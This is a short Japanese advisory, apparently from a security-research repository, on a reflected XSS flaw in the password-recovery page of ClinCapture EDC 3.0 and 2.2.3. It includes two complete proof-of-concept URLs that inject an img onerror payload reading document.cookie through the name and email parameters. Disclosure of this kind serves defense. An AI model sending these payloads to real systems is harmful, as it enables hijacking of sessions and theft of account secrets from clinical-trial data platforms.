
ClinCapture EDCにおける反射型XSS
このリポジトリは教育および防御的なセキュリティ研究のみを目的としています。
ClinCapture EDC 3.0 および 2.2.3 における反射型クロスサイトスクリプティング (XSS) の脆弱性により、認証されていないリモート攻撃者が被害者のブラウザのコンテキストで JavaScript コードを実行できる可能性があります。

脆弱性を実証するには、パスワード回復タブに移動し、name または email パラメータにペイロードを指定するか、または 1 つのリクエストを送信します。
<url>/edc/RequestPassword?action=submit&name=text%22%3E%3Cimg%20src%3dx%20onerror%3dalert(document.cookie)%3E&[email protected]&passwdChallengeQuestion=favorite_animal&passwdChallengeAnswer=&Submit=Submit

<url>/edc/RequestPassword?action=submit&name=text&[email protected]%22%3E%3Cimg%20src%3dx%20onerror%3dalert(document.cookie)%3E&passwdChallengeQuestion=favorite_animal&passwdChallengeAnswer=&Submit=Submit

認証されていないユーザーは、被害者のブラウザのコンテキストで JavaScript コードを実行でき、被害者に代わってアクションを実行したり、セキュリティ質問の回答などの機密情報を盗むことを目的としています。